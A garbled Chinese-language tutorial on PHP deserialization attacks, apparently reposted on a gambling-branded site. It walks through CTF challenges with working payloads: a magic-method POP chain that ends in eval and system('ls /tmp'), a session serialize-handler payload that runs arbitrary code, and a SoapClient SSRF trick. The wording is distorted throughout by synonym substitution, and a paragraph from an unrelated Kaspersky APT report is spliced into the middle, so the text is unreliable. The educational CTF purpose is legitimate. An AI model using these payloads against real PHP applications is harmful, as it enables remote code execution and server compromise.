由浅入深理会序列化进击(一) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

由浅入深理会序列化进击(一)

申博_安全防护 申博 83次浏览 已收录 0个评论

媒介

近期由于内部培训有序列化的需求,因而趁此机会由浅入深的理会一下序列化相干内容。

之前也写过由浅入深的xml破绽系列

序列化的观点

简朴归纳综合来讲,序列化即生存对象在内存中的状况,也能够说是实例化变量。在通报一个对象的时刻,或是须要把对象生存在文件/数据库中时,就必须用序列化。

序列化样例

以php官方手册样例为例:

<?php
class SimpleClass
{
    // 声明属性
    public $var = 'a default value';
    // 声明要领
    public function displayVar() {
        echo $this->var;
    }
}
?>

如许一来我们写了一个简朴的类样例,类中包罗一个属性和一个要领。

我们能够经由过程以下体式格局对类的属性举行赋值,对类的要领举行挪用:

$sky = new SimpleClass();
$sky->var = 'sky is cool!';
$sky->displayVar();

我们视察一下序列化后字符串的花样:

$sky = serialize($sky);
var_dump($sky);

获得以下内容:

O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}

O代表存储的是对象(object),11透露表现对象的称号有11个字符,”SimpleClass”透露表现对象的称号,1透露表现有一个值。

大括号内s透露表现字符串,3透露表现该字符串的长度,”var”为字符串的称号,紧跟着是该字符串的值,划定规矩同理。

雷同的,若是序列化数组,获得效果以下:

$sky1 = new SimpleClass();
$sky1->var = 'sky is cool!';
$sky2 = new SimpleClass();
$sky2->var = 'wq is cool!';
$sky3 = new SimpleClass();
$sky3->var = 'sy is cool!';
$sky4 = array($sky1,$sky2,$sky3);
var_dump(serialize($sky4));

获得以下内容:

a:3:{i:0;O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}i:1;O:11:"SimpleClass":1:{s:3:"var";s:11:"wq is cool!";}i:2;O:11:"SimpleClass":1:{s:3:"var";s:11:"sy is cool!";}}

与之前分歧的,多了a和i,a透露表现数组,数字3透露表现数组中有3个元素,i:0透露表现第一个元素,i:1透露表现第二个元素,i:2透露表现第三个元素。其他划定规矩与之前一致。

响应的,将这组字符串通报后,我们接收后,运用unserialize()举行反序列化,以下:

$sky1 = 'a:3:{i:0;O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}i:1;O:11:"SimpleClass":1:{s:3:"var";s:11:"wq is cool!";}i:2;O:11:"SimpleClass":1:{s:3:"var";s:11:"sy is cool!";}}';
$sky2 = 'O:11:"SimpleClass":1:{s:3:"var";s:12:"sky is cool!";}';
var_dump(unserialize($sky1));
var_dump(unserialize($sky2));

由浅入深理会序列化进击(一)

发明反序列化胜利,我们已将之前存储的对象胜利回复复兴。

魔法要领破绽

魔法要领样例

相识之前的道理后,我们起首看一个最简朴的反序列化破绽:

由浅入深理会序列化进击(一)

照样之前的代码,我们发明末了我们并没有举行要领挪用,但胜利触发了__toString()要领,这就是魔法要领的魅力。

魔法要领每每不须要用户挪用,在特定前提下会自动触发,相干魔法要领在php官方手册中写的异常清晰了,就不再赘述:

https://www.php.net/manual/zh/language.oop5.magic.php

里的__toString要领之以是触发胜利,是由于我们将对象当作字符串输出,相符__toString要领的前提,以是胜利触发了该要领。若是将echo换成var_dump则不会触发该要领。

魔法要领实战(一)

比方在Jarvis OJ上的一题:

http://web.jarvisoj.com:32768

index.php

<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

shield.php

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE  
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

我们能够看到是一个异常简朴的类,个中界说了1个属性和2个要领,个中便有魔法要领__construct(),经由过程查阅官方手册我们晓得:具有组织函数的类会在每次建立新对象时先挪用此要领。以是刚要领在初始化的时刻便会自动挪用,那末这里要触及一个先后顺序,是我们赋值先举行,照样__construct()先举行,这里做一个简朴测试:

由浅入深理会序列化进击(一)

从该测试不难看出,在new的时刻__construct()已动身,下一次赋值后便可将var属性掩盖。

回到题目中,在反序列化后,题目举行了以下挪用:

echo $x->readfile();

而该要领有恣意文件读取题目。

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE  
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}

以是谜底也呼之欲出了,我们将file的值赋值为pctf.php便可getflag,须要注重的是我们的赋值是在魔法要领__construct()以后,以是其实不会被置空。

魔法要领实战(二)

适才的案例也许比较简朴,我们在如许的基础上进步难度。

<?php
class A
{
    public $a;
    public function __toString() {
    eval($this->a);
       return '1';
    }
}
class B
{
    public $b;
    public function __call($name, $arguments) {
    echo $this->b;
    }
}
class C
{
    public $c;
    public function __destruct() {
        return $this->c->no();
    }
}
unserialize($_GET['sky']);
?>

我们视察到全部代码里有3个类,每一个类里各一个属性,一个魔法要领。而最风险的函数为class A,个中有一步:

eval($this->a);

若是想掌握a的值是异常轻易的,然则怎样触发该要领是个题目,经由过程之前的案例,我们晓得__toString()在对象被当作字符串输出的时刻会自动触发,但顺序的输入点中并没有echo等操纵,以是直接对A举行序列化进击是无效的。

那末我们寻觅是不是有将对象当作字符串输出的点:

public function __call($name, $arguments) {
    echo $this->b;
    }

发明class B中有echo操纵,会输出$b的值,我们也晓得$b的值很轻易掌握,然则怎样触发__call()要领呢?

卡巴斯基实验室:2019Q1高等延续要挟(APT)趋向申报

概述 在短短两年时间内,卡巴斯基实验室的全球研究与分析团队(GReAT)一直在发布高级持续威胁(APT)活动的季度摘要。这些摘要基于我们的威胁情报研究,并提供了我们在具体的APT研究中具有代表性的典型案例。我们团队的目标是,突出体现应该提醒大家注意的重大事项和发现。 本报告是我们最新发布的一期,重点介绍我们在2019年第一季度观察到的活动。 重点发现 近年来,攻击者针对供应链的攻击已经取得一定的成功,ShadowPad、CCleaner和ExPetr就是很好的例子。在我们对2019年的威胁预测中,我们将其标记为可能持续的攻击向量,并且不需要等待很长时间,就看到这一预测成为了现实。2019年1月,我们发现了一个复杂的供应链攻击活动,涉及到ASUS Live Update Utility,这是为华硕笔记本电脑和台式机提供BIOS、UEFI和软件更新的机制。“ShadowHammer活动”

查阅官方手册,我们发明:在对象中挪用一个弗成接见要领时,__call() 会被挪用。

以是下一步我们要继续寻觅,是不是有对象挪用了弗成接见要领:

 public function __destruct() {
        return $this->c->no();
    }

我们再class C中发明__destruct()魔法要领,个中挪用了弗成接见要领no(),我们看一下怎样触发:析构函数会在到某个对象的一切援用都被删除或许当对象被显式烧毁时实行。

以是全部应用链呼之欲出了:

1.运用Class C中的__destruct()触发弗成接见要领挪用。

2.经由过程弗成接见要领挪用触发Class B中__call要领。

3.经由过程__call要领中的echo,使其输出对象,触发ClassA中__toString要领。

4.经由过程Class A中的$a举行RCE。

以是我们能够完全组织以下:

$sky1 = new A();
$sky1->a = "system('ls /tmp');";
$sky2 = new B();
$sky2->b = $sky1;
$sky3 = new C();
$sky3->c = $sky2;
var_dump(serialize($sky3));

便可完成应用,举行RCE。

· session序列化引擎破绽

· session序列化引擎样例

尽人皆知,session会将数据以序列化的花样存储在服务端,我们写以下测试代码:

<?php
session_start();
$_SESSION['login_ok'] = true;
$_SESSION['name'] = 'sky';
$_SESSION['age'] = 9999;

我们从默许途径找到session数据:

/var/lib/php/sessions/sess_027m6oo5ok4e22qaevsag7r7m0

内容为:

login_ok|b:1;name|s:3:"sky";age|i:9999;

那末这是甚么存储花样呢?查阅相干手册,能够得知session序列化具有以下3种分歧的引擎:

php_binary:存储体式格局是,键名的长度对应的ASCII字符+键名+经由serialize()函数序列化处置惩罚的值。
php:存储体式格局是,键名+竖线+经由serialize()函数序列处置惩罚的值。
php_serialize(php>5.5.4):存储体式格局是,经由serialize()函数序列化处置惩罚的值。

而在没有指定引擎的时刻,会默许运用php引擎。

若是我们指定引擎:

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['login_ok'] = true;
$_SESSION['name'] = 'sky';
$_SESSION['age'] = 9999;

此时session文件内容变成:

a:3:{s:8:"login_ok";b:1;s:4:"name";s:3:"sky";s:3:"age";i:9999;}

那末若是顺序在存储session时用的引擎与解码session时用的引擎分歧,是不是会触发题目呢?谜底是明显的。

session序列化引擎破绽实战(一)

照样以Jarvis OJ的一道题做样例

http://web.jarvisoj.com:32784/

源码以下:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

在本题中我们看到,从头至尾并未有传入序列化和反序列化的点。然则翻阅phpinfo():

由浅入深理会序列化进击(一)

熟习的同砚应当都晓得,一旦session.upload_progress.enabled开启,我们是能够掌握session文件内容的,可参考这篇文章:https://skysec.top/2018/04/04/amazing-phpinfo/#session-upload-progress。

如许一来,我们便可掌握session文件内容,在触发session读取的时刻,会举行反序列化。依据代码不难发明,2个魔法要领都是我们之前说起的:

class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}

我们可掌握$mdzz举行恣意RCE,比方:

O:5:"OowoO":1:{s:4:"mdzz";s:22:"var_dump(scandir('.'))";}

然则紧接着题目又来了,我们的input为php_serialize,但题目标引擎为php,那末怎样让他举行胜利反序列化呢?

这里就要和php的花样有关了,我们依据之前的内容晓得:php存储体式格局是,键名+竖线+经由serialize()函数序列处置惩罚的值。

那末竖线之前为键名,竖线以后为经由serialize()函数序列处置惩罚的值,以是我们只需组织以下poc:

|O:5:"OowoO":1:{s:4:"mdzz";s:22:"var_dump(scandir('.'))";}

便可胜利应用php的剖析划定规矩,让我们的歹意序列化payload被当作key然后经由反序列化被胜利触发。

那末为何顺序会反序列化呢?下图给了我们很好的诠释:

由浅入深理会序列化进击(一)

session序列化引擎破绽实战(二)

又如2018 LCTF如许一道题:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

题目要求我们用上述代码,举行SSRF,仿制127.0.0.1要求flag.php便可拿到flag。同时作者禁用了一些风险函数。细致的题解我已写在这篇文章了:https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge。此处我们只做一些思路上的理会。

起首我们视察到两个敕令实行函数:

call_user_func($_GET[f],$_POST);
call_user_func($b,$a);

第一行想举行RCE照样异常轻易的,我们直接通报两个参数便可。但第二行看起来其实弗成控。实际上我们能够用变量掩盖的头脑,运用第一行掩盖$b,也能有一些用途,比方:

/?f=extract
b=call_user_func

那末这道题怎样举行SSRF呢?实际上这和php的内置类有关:SoapClient。

由浅入深理会序列化进击(一)

这个类异常风趣,他有一个魔法要领为:__call,我们能够应用该要领触发我们想做的操纵。这里就不再睁开SoapClient的通信功用了。有兴致能够去看上述链接。

我们晓得魔法要领__call的触发体式格局是对象挪用弗成接见要领,那末本题里怎样让SoapClient挪用弗成接见要领呢?之前我说过b参数能够掩盖为call_user_func,如许谜底就呼之欲出了:

由浅入深理会序列化进击(一)

如图便可胜利触发SoapClient挪用弗成接见要领:welcome_to_the_lctf2018,触发后对象将会提议通信要求,模仿127.0.0.1接见flag.php。

那末怎样先把对象存入顺序呢?这里即用到之前所说的session序列化引擎的题目。我们能够先让序列化引擎为php_serialize,在掏出数据时,不指定引擎,则默许运用php引擎去反序列化,从而杀青不被引擎的剖析构造所滋扰的目标。

那末怎样设置session序列化引擎呢?这里我们应用以下这行敕令便可:

call_user_func($_GET[f],$_POST);

然后提议以下要求,便可到达目标:

/?f=session_start
serialize_handler=php

申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明由浅入深理会序列化进击(一)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址